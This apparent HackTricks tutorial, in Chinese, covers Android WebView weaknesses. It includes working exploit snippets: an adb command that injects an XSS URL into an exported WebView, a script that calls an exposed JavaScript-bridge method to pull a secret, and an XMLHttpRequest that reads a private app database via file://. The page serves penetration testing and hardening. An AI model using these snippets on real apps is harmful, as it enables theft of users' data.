Webview 攻击

Reading time: 8 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks

WebView 配置和安全指南

WebView 漏洞概述

Android 开发的一个关键方面是正确处理 WebViews。本指南强调了关键配置和安全实践,以减轻与 WebView 使用相关的风险。

WebView 示例

WebViews 中的文件访问

默认情况下,WebViews 允许文件访问。此功能由 setAllowFileAccess() 方法控制,自 Android API 级别 3(Cupcake 1.5)以来可用。具有 android.permission.READ_EXTERNAL_STORAGE 权限的应用可以使用文件 URL 方案(file://path/to/file)从外部存储读取文件。

已弃用的功能:从 URL 的通用和文件访问

  • 从文件 URL 的通用访问:此已弃用功能允许从文件 URL 进行跨源请求,由于潜在的 XSS 攻击,构成了重大安全风险。默认设置在针对 Android Jelly Bean 及更新版本的应用中被禁用(false)。
  • 要检查此设置,请使用 getAllowUniversalAccessFromFileURLs()
  • 要修改此设置,请使用 setAllowUniversalAccessFromFileURLs(boolean)
  • 从文件 URL 的文件访问:此功能也已弃用,控制对其他文件方案 URL 内容的访问。与通用访问一样,其默认设置为禁用,以增强安全性。
  • 使用 getAllowFileAccessFromFileURLs() 进行检查,使用 setAllowFileAccessFromFileURLs(boolean) 进行设置。

安全文件加载

为了在仍然访问资产和资源的同时禁用文件系统访问,使用 setAllowFileAccess() 方法。对于 Android R 及以上版本,默认设置为 false

  • 使用 getAllowFileAccess() 进行检查。
  • 使用 setAllowFileAccess(boolean) 启用或禁用。

WebViewAssetLoader

WebViewAssetLoader 类是加载本地文件的现代方法。它使用 http(s) URL 访问本地资产和资源,符合同源策略,从而促进 CORS 管理。

loadUrl

这是一个常用函数,用于在 webview 中加载任意 URL:

java
webview.loadUrl("<url here>")

当然,潜在攻击者永远不应该能够 控制 URL,应用程序将要加载的内容。

JavaScript 和 Intent Scheme 处理

  • JavaScript:在 WebViews 中默认禁用,可以通过 setJavaScriptEnabled() 启用。建议谨慎操作,因为在没有适当保护的情况下启用 JavaScript 可能会引入安全漏洞。
  • Intent Scheme:WebViews 可以处理 intent scheme,如果管理不当,可能导致漏洞。一个示例漏洞涉及一个暴露的 WebView 参数 "support_url",可以被利用来执行跨站脚本 (XSS) 攻击。

Vulnerable WebView

使用 adb 的利用示例:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android 提供了一项功能,使得 JavaScript 在 WebView 中能够调用 本地 Android 应用程序功能。这通过利用 addJavascriptInterface 方法实现,该方法将 JavaScript 与本地 Android 功能集成,称为 WebView JavaScript bridge。需要谨慎,因为此方法允许 WebView 中的所有页面访问注册的 JavaScript 接口对象,如果通过这些接口暴露敏感信息,将构成安全风险。

  • 针对 Android 版本低于 4.2 的应用程序,需要极其谨慎,因为存在一个漏洞允许通过恶意 JavaScript 进行远程代码执行,利用反射。

Implementing a JavaScript Bridge

  • JavaScript 接口 可以与本地代码交互,如示例所示,其中一个类方法被暴露给 JavaScript:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • 通过向 WebView 添加接口来启用 JavaScript Bridge:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • 通过 JavaScript 进行潜在的利用,例如,通过 XSS 攻击,可以调用暴露的 Java 方法:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • 为了降低风险,限制 JavaScript 桥接使用 仅限于随 APK 打包的代码,并防止从远程源加载 JavaScript。对于旧设备,将最低 API 级别设置为 17。

基于反射的远程代码执行 (RCE)

  • 一种文档化的方法允许通过反射执行特定有效负载来实现 RCE。然而,@JavascriptInterface 注解防止未经授权的方法访问,从而限制了攻击面。

远程调试

  • 远程调试 可以通过 Chrome 开发者工具 实现,允许在 WebView 内容中进行交互和任意 JavaScript 执行。

启用远程调试

  • 可以通过以下方式为应用程序中的所有 WebView 启用远程调试:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • 根据应用程序的可调试状态有条件地启用调试:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

导出任意文件

  • 演示使用 XMLHttpRequest 导出任意文件:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

参考文献

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks